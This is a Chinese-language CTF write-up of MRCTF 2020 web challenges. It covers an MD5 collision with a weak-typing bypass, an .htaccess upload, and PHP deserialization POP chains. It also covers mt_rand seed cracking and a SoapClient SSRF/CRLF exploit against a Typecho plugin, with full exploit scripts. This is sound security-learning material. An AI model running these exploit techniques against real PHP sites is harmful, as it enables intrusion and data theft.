2020-MRCTF


ez_bypass

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

哈希碰撞,弱類型

import requests
from urllib.parse import quote
url='http://3b2f75e7-7fba-46c4-a68d-9eca2f54fa30.merak-ctf.site/'
with open(r'C:\Users\dell\Desktop\md5碰撞\out_test_001.txt','rb') as f:
    data1=f.read()
    data1=quote(data1,'utf-8')
with open(r'C:\Users\dell\Desktop\md5碰撞\out_test_000.txt','rb') as f:
    data2 = f.read()
    data2=quote(data2,'utf-8')
get='?id='+data1+'&gg='+data2
data={'passwd':'1234567admin'}
r = requests.post(url+get,data=data)
print(r.text)

你傳你🐎呢

帶惡人

對不起,這道題我做了一個小時。我硬是看nginx,硬是傳.user.ini。

然后發現。。不對啊,目錄下有沒有php文件。不能利用啊。

CTFd平台,平台是nginx,為了快速訪問和處理請求。所以wappalyzer判斷都是nginx的。題目環境不一定是。然后傳了.htaccess就成了

當場去世

 

 

題目設置了disable_functions,但是沒有open_basedir

readfile('/flag')

PYwebsite

有點沒看懂操作,前端驗證授權碼

 

flag.php這個頁面的一句話,我已經把購買者的IP保存了。說明是通過IP來判斷的?我一開始以為是client_IP或者X-Forwarded-For注入之類的。

 

只要127.0.0.1即可

Ezpop

 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

POP鏈

Show->preg_match->__toString()->Test->_get->Modifier->__invoke->append()

跟BJD那道我出的題其實都是源自一個,本來也想出這樣的,但是新生賽還是調低了難度。

exp

<?php
class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str=new Test();
        $this->str->p=new Modifier();

    }
}
class Test{
    public $p;
}
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';

}
$a=new Show();
$a->source=new Show();
echo serialize($a);

 

套娃

之前沒空,出於強迫症,寫了一些題目作為草稿存着也是難受,直接全部寫完把。下面的題目都是在BUU復現。還有bjd 2nd還沒寫完。同樣的情況。難受。

 

 

 

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

這里運用到了php字符串解析特性bypass

payload:

b%20u%20p%20t=23333%0A

提示flag在secrettw.php

本來想測試下Clien-IP,X-Forwarded-For的,但是發現了jsfuck編碼

解碼獲得

post me Merak

post傳后獲得源碼

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  

Client-IP可以獲得ip,data://偽協議讀入todat is a happy day 最后還需要一個解密

 

 

對應寫一個unchange函數加密

 

 

 paload:

http://029d7f20-bd6e-45d7-8bfb-eb136806e4e9.node3.buuoj.cn/secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=

headers:
Client-Ip:127.0.0.1

 

 

Ezaudit

想這種用框架搭的,前端很好看的CTF題目,一般最好掃一下,很多都是源碼泄露,代碼審計類型,看題目也像。

都是429,那就不是源碼泄露了。

但是頁面上什么東西都點不動啊,手癢試了下www.zip,返回了源碼

只有一個index.php

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若為空,視為未填寫,提示錯誤,並3秒后返回登錄界面
        header('refresh:2; url=login.html');
        echo "用戶名、密碼、密鑰不能為空啦,crispr會讓你在2秒后跳轉到登錄界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密鑰,咋會讓你登錄?crispr會讓你在2秒后跳轉到登錄界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

看到兩個function鍾的mt_rand就應該明白是偽隨機數漏洞,具體不贅述,百度即可。

exp1參考題目地址:https://blog.csdn.net/yuaneuro/article/details/103994272

exp1

#變換成php_mt_seed可以識別的數據
str1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2 = 'KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
res = ''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res += str(j) + ' ' + str(j) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '
            break
print(res)

獲得種子

 

但是我用exp寫的時候發現BNC8lyED7y8P並不對

 

這里看了下WP,發現是第二次,有兩次生成的,private_key是第二次。

<?php 
mt_srand(1775196155);
function public_key($length = 16) {
  $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $public_key = '';
  for ( $i = 0; $i < $length; $i++ )
  $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
  return $public_key;
}
/**
 * 先生成一次公鑰在生成一次密鑰  XuNhoueCDCGc
 */
function private_key($length = 12) {
  $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  $private_key = '';
  for ( $i = 0; $i < $length; $i++ )
  $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
  return $private_key;
}
echo public_key();
echo "\n";
echo private_key();
?>

獲得private_key => 3NxjlpuxSI5y

發現還是錯的。嗷。。我這個環境變量是7.2版本的。服務器是5.6的。

 

獲得private_key=>XuNhoueCDCGc  (PS:要細心,別心急)

 

獲得flag

 

Ezpop_Revenge

Typecho的博客模板,手動www.zip獲得源碼。(一般框架類的經常都是www.zip源代碼審計)

 

審計代碼,沒發現東西,還是太noob了。去看了下WP

#https://github.com/BuptMerak/mrctf2020-writeups/tree/master/official

#https://blog.csdn.net/a3320315/article/details/105215741/

發現點在/usr/helloworld/plugin.php中

<?php
if (!defined('__TYPECHO_ROOT_DIR__')) exit;
/**
 * Hello World
 * 
 * @package HelloWorld 
 * @author qining
 * @version 1.0.0
 * @link http://typecho.org
 */
class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface
{
    /**
     * 激活插件方法,如果激活失敗,直接拋出異常
     * 
     * @access public
     * @return void
     * @throws Typecho_Plugin_Exception
     */
    public static function activate()
    {
        Typecho_Plugin::factory('admin/menu.php')->navBar = array('HelloWorld_Plugin', 'render');
    }
    
    /**
     * 禁用插件方法,如果禁用失敗,直接拋出異常
     * 
     * @static
     * @access public
     * @return void
     * @throws Typecho_Plugin_Exception
     */
    public static function deactivate(){}
    
    /**
     * 獲取插件配置面板
     * 
     * @access public
     * @param Typecho_Widget_Helper_Form $form 配置面板
     * @return void
     */
    public static function config(Typecho_Widget_Helper_Form $form)
    {
        /** 分類名稱 */
        $name = new Typecho_Widget_Helper_Form_Element_Text('word', NULL, 'Hello World', _t('說點什么'));
        $form->addInput($name);
    }
    
    /**
     * 個人用戶的配置面板
     * 
     * @access public
     * @param Typecho_Widget_Helper_Form $form
     * @return void
     */
    public static function personalConfig(Typecho_Widget_Helper_Form $form){}
    
    /**
     * 插件實現方法
     * 
     * @access public
     * @return void
     */
    public static function render()
    {
        echo '<span class="message success">'
            . htmlspecialchars(Typecho_Widget::widget('Widget_Options')->plugin('HelloWorld')->word)
            . '</span>';
    }

    public function execute() {
        //Do nothing
        echo '<!DOCTYPE HTML>
<html class="no-js">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="renderer" content="webkit">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <title>頁面沒找到 - Hello World</title>

    <!-- 使用url函數轉換相關路徑 -->
    <link rel="stylesheet" href="http://127.0.0.1/usr/themes/default/normalize.css">
    <link rel="stylesheet" href="http://127.0.0.1/usr/themes/default/grid.css">
    <link rel="stylesheet" href="http://127.0.0.1/usr/themes/default/style.css">

    <!--[if lt IE 9]>
    <script src="//cdnjscn.b0.upaiyun.com/libs/html5shiv/r29/html5.min.js"></script>
    <script src="//cdnjscn.b0.upaiyun.com/libs/respond.js/1.3.0/respond.min.js"></script>
    <![endif]-->

    <!-- 通過自有函數輸出HTML頭部信息 -->
    <meta name="description" content="Just So So ..." />
<meta name="keywords" content="typecho,php,blog" />
<meta name="generator" content="Typecho 1.2/18.10.23" />
<meta name="template" content="default" />
<link rel="alternate" type="application/rss+xml" title="頁面沒找到 &raquo; Hello World &raquo; RSS 2.0" href="http://127.0.0.1/index.php/feed/" />
<link rel="alternate" type="application/rdf+xml" title="頁面沒找到 &raquo; Hello World &raquo; RSS 1.0" href="http://127.0.0.1/index.php/feed/rss/" />
<link rel="alternate" type="application/atom+xml" title="頁面沒找到 &raquo; Hello World &raquo; ATOM 1.0" href="http://127.0.0.1/index.php/feed/atom/" />
</head>
<body>
<!--[if lt IE 8]>
    <div class="browsehappy" role="dialog">當前網頁 <strong>不支持</strong> 你正在使用的瀏覽器. 為了正常的訪問, 請 <a href="http://browsehappy.com/">升級你的瀏覽器</a>.</div>
<![endif]-->

<header id="header" class="clearfix">
    <div class="container">
        <div class="row">
            <div class="site-name col-mb-12 col-9">
                            <a id="logo" href="http://127.0.0.1/">Hello World</a>
                <p class="description">Just So So ...</p>
                        </div>
            <div class="site-search col-3 kit-hidden-tb">
                <form id="search" method="post" action="http://127.0.0.1/" role="search">
                    <label for="s" class="sr-only">搜索關鍵字</label>
                    <input type="text" id="s" name="s" class="text" placeholder="輸入關鍵字搜索" />
                    <button type="submit" class="submit">搜索</button>
                </form>
            </div>
            <div class="col-mb-12">
                <nav id="nav-menu" class="clearfix" role="navigation">
                    <a href="http://127.0.0.1/">首頁</a>
                                                            <a href="http://127.0.0.1/index.php/start-page.html" title="關於">關於</a>
                                    </nav>
            </div>
        </div><!-- end .row -->
    </div>
</header><!-- end #header -->
<div id="body">
    <div class="container">
        <div class="row">

    
    

    <div class="col-mb-12 col-tb-8 col-tb-offset-2">

        <div class="error-page">
            <h2 class="post-title">404 - 頁面沒找到</h2>
            <p>你想查看的頁面已被轉移或刪除了, 要不要搜索看看: </p>
            <form method="post">
                <p><input type="text" name="s" class="text" autofocus /></p>
                <p><button type="submit" class="submit">搜索</button></p>
            </form>
        </div>

    </div><!-- end #content-->
    
        </div><!-- end .row -->
    </div>
</div><!-- end #body -->

<footer id="footer" role="contentinfo">
    &copy; 2020 <a href="http://127.0.0.1/">Hello World</a>.
    由 <a href="http://www.typecho.org">Typecho</a> 強力驅動.
</footer><!-- end #footer -->

</body>';
    }

    public function action(){
        if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
            if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
                unserialize(base64_decode($_POST['C0incid3nc3']));
            else {
                echo "Not that easy.";
            }
        }
    }
}

flag.php

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

flag.php中的Remote_ADDR很好的說明了需要用ssrf去觸發

在頁面中還實例化了Typecho_Db的類,跟蹤查看

 

發現有字符串拼接,並且有提示__toString()魔術方法,adapterName是我們可控的,可以賦值為類名,調用__toString()

現在全局查找下__tostring ps:我這里根據的思路是query.php,文章=>https://blog.csdn.net/a3320315/article/details/105215741/

/var/Typecho/Db/Query.php

 

這里有個switch case的結果,可以發現_sqlPreBuild是我們可以控制的

並且Typecho_Db::SELECT是已知的為'SELECT'。_adapter也是我們可控的

 

 

 

 這里調用了parseSelect方法,如果是ssrf的話,我們可以通過一些原生類來觸發反序列化。

這里很好的選擇就是soapclient

soapclient類有一個__call的魔術方法,當調用不存在的或者不可調用的方法時觸發。

具體的soapclient的利用詳細可以看l3m0n師傅寫的=>https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

 

這里直接用了HyyMbb師傅的exp

<?php

class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;

    public function __construct()
    {
       $target = 'http://127.0.0.1/flag.php';
        $headers = array(
        'X-Forwarded-For: 127.0.0.1',
        'Cookie: PHPSESSID=504k75447innl1uvvsclu6jeu3'
        );
        $b = new SoapClient(null,array('location' => $target,'user_agent'=>'HyyMbb^^'.join('^^',$headers),'uri'      => "aaab"));
        $this->_sqlPreBuild =array("action"=>"SELECT");
        $this->_adapter = $b;
    }
}


class HelloWorld_DB
{
    private $coincidence;

    public function __construct()
    {
        $this->coincidence = ["hello" => new Typecho_Db_Query()];
    }
}

$a = new HelloWorld_DB();
$aaa = serialize($a);

這里涉及到了CRLF,可以通過\r\n來滿足http請求規范,內容中注入惡意數據

文章見=>https://www.jianshu.com/p/2f2e311e797b

運行exp提示沒有soapclient()這個類,這里我們需要在php.ini開啟這個擴展,去掉分號

 

這里因為過濾了百分號,所以會被waf擋下來

 

這里有個知識點,學習自=>W4nder師傅https://www.cnblogs.com/W4nder/p/12596114.html#%E8%B8%A9%E5%9D%91

在 PHP5 最新的 CVS 中,
新的序列化方式叫做 escaped binary string 方式,這是相對與普通那種 non-escaped binary string 方式來說的:
string 型數據(字符串)新的序列化格式為:
S:"<length>":"<value>";
其中 <length> 是源字符串的長度,而非 <value> 的長度。<length> 是非負整數,數字前可以帶有正號(+)。<value> 為經過轉義之后的字符串。
它的轉義編碼很簡單,對於 ASCII 碼小於 128 的字符(但不包括 \),按照單個字節寫入(與 s 標識的相同),對於 128~255 的字符和 \ 字符,則將其 ASCII 碼值轉化為 16 進制編碼的字符串,以 \ 作為開頭,后面兩個字節分別是這個字符的 16 進制編碼,順序按照由高位到低位排列,也就是第 8-5 位所對應的16進制數字字符(abcdef 這幾個字母是小寫)作為第一個字節,第 4-1 位作為第二個字節。依次編碼下來,得到的就是 <value> 的內容了。

因此有兩種寫法:

普通的序列化小s對應的就是普通的字符串,如s:3:"%00a%00";
而序列化的大S則對應的是\加上16進制,如S:2:"\00a\00";

所以上面生成的payload還需要將%00替換成\00,string類型的s替換成S,並且base64_encode后POST上去,admin隨意輸入,在page_admin頁面會自動調用action()方法

這里再放一下Ying師傅的操作步驟完整exp

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
    }
}
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}
class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;
    public function __construct(){
        $this->_sqlPreBuild['action']='SELECT';
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
    'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
        $this->_adapter=new SoapClient(
            null,
            array('location' => $target,
                'user_agent'=>str_replace('^^', "\r\n",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
    }


}
function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    return $newstr;
}
$a=serialize(new HelloWorld_DB());
$a = urlencode($a);
$a = preg_replace('/%00/', '%5c%30%30', $a);
$a = decorate(urldecode($a));
echo base64_encode($a);

其實不需要%和s的問題,w4nder博客里提到,base64解碼后,其實也是亂碼,並不會檢測到%。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM